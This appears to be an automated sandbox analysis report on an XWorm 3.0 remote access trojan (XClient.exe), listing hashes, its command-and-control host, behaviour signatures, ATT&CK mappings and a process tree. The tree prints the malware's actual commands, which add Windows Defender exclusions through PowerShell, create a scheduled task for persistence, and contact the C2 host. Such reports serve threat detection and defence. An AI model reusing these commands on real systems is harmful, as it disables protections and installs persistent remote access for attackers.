Analysis

  • max time kernel
    524s
  • max time network
    457s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240426-en
  • resource tags

    arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    05-06-2024 16:59

General

  • Target

    XClient.exe

  • Size

    81KB

  • MD5

    6d60b4275e8e67c0187b4f85aa014aa3

  • SHA1

    130d9da9f54ac8c09e0f9ec9cfb0e96f013e1784

  • SHA256

    9380c29aaccc2fcbf1734ff093b489ced5ba68006a863e25d7d601b6f8d69a52

  • SHA512

    806685f2920ee62250f9caefea95ece9ea822cbcec97f0c53dd3318faec55b07c3ade1b7c3ecb8b2e653bbcf999a876b8585c8cb1fc822e2d286921f3e0499ef

  • SSDEEP

    1536:lN9TPsJ5ZH4TUi57kALbm51vjOIJZ6tAPT4OTetBi7q7g:39TMH4TfkALbmbaT+4OaLLg

Malware Config

Extracted

Family

xworm

Version

3.0

C2

lunassworld-50930.portmap.host:50930

Attributes
  • Install_directory

    %AppData%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
  • Modifies registry class 21 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
    1⤵
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3844
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\Admin\AppData\Roaming\XClient.exe"
      2⤵
      • Creates scheduled task(s)
      PID:3856
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" lunassworld-50930.portmap.host 50930 aW4gYmFzZTY0 4027006D2AC67FC9FB30
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3104
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -c explorer shell:::{3080F90E-D7AD-11D9-BD98-0000947B0257}
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3756
        • C:\Windows\SysWOW64\explorer.exe
          "C:\Windows\system32\explorer.exe" shell::: -encodedCommand MwAwADgAMABGADkAMABFAC0ARAA3AEEARAAtADEAMQBEADkALQBCAEQAOQA4AC0AMAAwADAAMAA5ADQANwBCADAAMgA1ADcA -inputFormat xml -outputFormat text
          4⤵
            PID:3188
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /delete /f /tn "XClient"
        2⤵
          PID:4820
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE75F.tmp.bat""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4544
          • C:\Windows\system32\timeout.exe
            timeout 3
            3⤵
            • Delays execution with timeout.exe
            PID:1976
      • C:\Users\Admin\AppData\Roaming\XClient.exe
        C:\Users\Admin\AppData\Roaming\XClient.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2392
      • C:\Users\Admin\AppData\Roaming\XClient.exe
        C:\Users\Admin\AppData\Roaming\XClient.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:5028
      • C:\Users\Admin\AppData\Roaming\XClient.exe
        C:\Users\Admin\AppData\Roaming\XClient.exe
        1⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2376
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:564
      • C:\Windows\System32\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {3eef301f-b596-4c0b-bd92-013beafce793} -Embedding
        1⤵
          PID:2608
        • C:\Users\Admin\AppData\Roaming\XClient.exe
          C:\Users\Admin\AppData\Roaming\XClient.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4516
        • C:\Users\Admin\AppData\Roaming\XClient.exe
          C:\Users\Admin\AppData\Roaming\XClient.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:4708

        Network

        MITRE ATT&CK Matrix ATT&CK v13

        Execution

        Command and Scripting Interpreter

        1
        T1059

        PowerShell

        1
        T1059.001

        Scheduled Task/Job

        1
        T1053

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Scheduled Task/Job

        1
        T1053

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Scheduled Task/Job

        1
        T1053

        Defense Evasion

        Modify Registry

        2
        T1112

        Discovery

        System Information Discovery

        1
        T1082

        Query Registry

        1
        T1012

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\XClient.exe.log
          Filesize

          654B

          MD5

          2cbbb74b7da1f720b48ed31085cbd5b8

          SHA1

          79caa9a3ea8abe1b9c4326c3633da64a5f724964

          SHA256

          e31b18f21621d9983bfdf1ea3e53884a9d58b8ffd79e0e5790da6f3a81a8b9d3

          SHA512

          ecf02d5240e0c1c005d3ab393aa7eff62bd498c2db5905157e2bf6d29e1b663228a9583950842629d1a4caef404c8941a0c7799b1a3bd1eb890a09fdb7efcff9

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          Filesize

          2KB

          MD5

          627073ee3ca9676911bee35548eff2b8

          SHA1

          4c4b68c65e2cab9864b51167d710aa29ebdcff2e

          SHA256

          85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

          SHA512

          3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db
          Filesize

          14KB

          MD5

          ac53b4400c847dfa93e0777e2265a03f

          SHA1

          e35224c75f29853bb4367df9ed1bee1d466cc14b

          SHA256

          ddd28e3e38730c152c994dbab6b02f068d08c6826733ab88eb52dc9c368668d8

          SHA512

          0ab026268b327bef439dd002782c95826b569566fc7504eab6c7e725d351dd86be648c0a32afeb8d6d926cc2c96be68d098ce03e1d6b0bc01584e8be6f173d67

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          944B

          MD5

          e3840d9bcedfe7017e49ee5d05bd1c46

          SHA1

          272620fb2605bd196df471d62db4b2d280a363c6

          SHA256

          3ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f

          SHA512

          76adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          944B

          MD5

          050567a067ffea4eb40fe2eefebdc1ee

          SHA1

          6e1fb2c7a7976e0724c532449e97722787a00fec

          SHA256

          3952d5b543e5cb0cb84014f4ad9f5f1b7166f592d28640cbc3d914d0e6f41d2e

          SHA512

          341ad71ef7e850b10e229666312e4bca87a0ed9fe25ba4b0ab65661d5a0efa855db0592153106da07134d8fc2c6c0e44709bf38183c9a574a1fa543189971259

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          944B

          MD5

          4093e5ab3812960039eba1a814c2ffb0

          SHA1

          b5e4a98a80be72fccd3cc910e93113d2febef298

          SHA256

          c0794e2b7036ce5612446a8b15e0c8387773bbc921f63cf8849f8a1f4ef3878c

          SHA512

          f3555b45aa1a1dd5214716dc81a05905c4ecd5a3e1276d35e08c65623ab1d14d469b3b576a5d9638264c1222d73889d2cc1ee43fb579d9ca3fcddd9f557cac7b

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gjlepcs2.u53.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\tmpE75F.tmp.bat
          Filesize

          159B

          MD5

          8938b1755f5891e2cdae6995e96d687d

          SHA1

          95f8761742795bbd627f59f9bffd95ac3f1d67b3

          SHA256

          d061b4d2a38aea714ebd2e0c13794d0d31b2a8963f57636b23ea666a506b8462

          SHA512

          d85ce31a8c8f38590a08e13db0ca1c74a067e0ec3ba52aff54717173f80780129cdfdcf1dad65dbb69df366337a2bce9d187a23f8d2243f93a63cd3ddf9c2941

        • C:\Users\Admin\AppData\Roaming\XClient.exe
          Filesize

          81KB

          MD5

          6d60b4275e8e67c0187b4f85aa014aa3

          SHA1

          130d9da9f54ac8c09e0f9ec9cfb0e96f013e1784

          SHA256

          9380c29aaccc2fcbf1734ff093b489ced5ba68006a863e25d7d601b6f8d69a52

          SHA512

          806685f2920ee62250f9caefea95ece9ea822cbcec97f0c53dd3318faec55b07c3ade1b7c3ecb8b2e653bbcf999a876b8585c8cb1fc822e2d286921f3e0499ef

        • memory/2508-0-0x00007FFBDD3B3000-0x00007FFBDD3B5000-memory.dmp
          Filesize

          8KB

        • memory/2508-57-0x0000000000BF0000-0x0000000000C04000-memory.dmp
          Filesize

          80KB

        • memory/2508-101-0x00007FFBDD3B0000-0x00007FFBDDE72000-memory.dmp
          Filesize

          10.8MB

        • memory/2508-49-0x00007FFBDD3B0000-0x00007FFBDDE72000-memory.dmp
          Filesize

          10.8MB

        • memory/2508-2-0x00007FFBDD3B0000-0x00007FFBDDE72000-memory.dmp
          Filesize

          10.8MB

        • memory/2508-1-0x0000000000490000-0x00000000004AA000-memory.dmp
          Filesize

          104KB

        • memory/2808-15-0x00007FFBDD3B0000-0x00007FFBDDE72000-memory.dmp
          Filesize

          10.8MB

        • memory/2808-14-0x00007FFBDD3B0000-0x00007FFBDDE72000-memory.dmp
          Filesize

          10.8MB

        • memory/2808-18-0x00007FFBDD3B0000-0x00007FFBDDE72000-memory.dmp
          Filesize

          10.8MB

        • memory/2808-3-0x00007FFBDD3B0000-0x00007FFBDDE72000-memory.dmp
          Filesize

          10.8MB

        • memory/2808-6-0x0000029796B40000-0x0000029796B62000-memory.dmp
          Filesize

          136KB

        • memory/2808-19-0x00007FFBDD3B0000-0x00007FFBDDE72000-memory.dmp
          Filesize

          10.8MB

        • memory/2808-13-0x00007FFBDD3B0000-0x00007FFBDDE72000-memory.dmp
          Filesize

          10.8MB

        • memory/3104-61-0x0000000004F30000-0x0000000004FCC000-memory.dmp
          Filesize

          624KB

        • memory/3104-63-0x00000000051B0000-0x0000000005216000-memory.dmp
          Filesize

          408KB

        • memory/3104-62-0x0000000005580000-0x0000000005B26000-memory.dmp
          Filesize

          5.6MB

        • memory/3104-60-0x0000000004E90000-0x0000000004F22000-memory.dmp
          Filesize

          584KB

        • memory/3104-59-0x0000000000540000-0x0000000000550000-memory.dmp
          Filesize

          64KB

        • memory/3756-64-0x00000000027F0000-0x0000000002826000-memory.dmp
          Filesize

          216KB

        • memory/3756-65-0x0000000004F20000-0x000000000554A000-memory.dmp
          Filesize

          6.2MB

        • memory/3756-67-0x0000000004DE0000-0x0000000004E02000-memory.dmp
          Filesize

          136KB

        • memory/3756-68-0x0000000004E80000-0x0000000004EE6000-memory.dmp
          Filesize

          408KB

        • memory/3756-77-0x00000000057F0000-0x0000000005B47000-memory.dmp
          Filesize

          3.3MB

        • memory/3756-79-0x0000000005C70000-0x0000000005C8E000-memory.dmp
          Filesize

          120KB

        • memory/3756-80-0x0000000005D10000-0x0000000005D5C000-memory.dmp
          Filesize

          304KB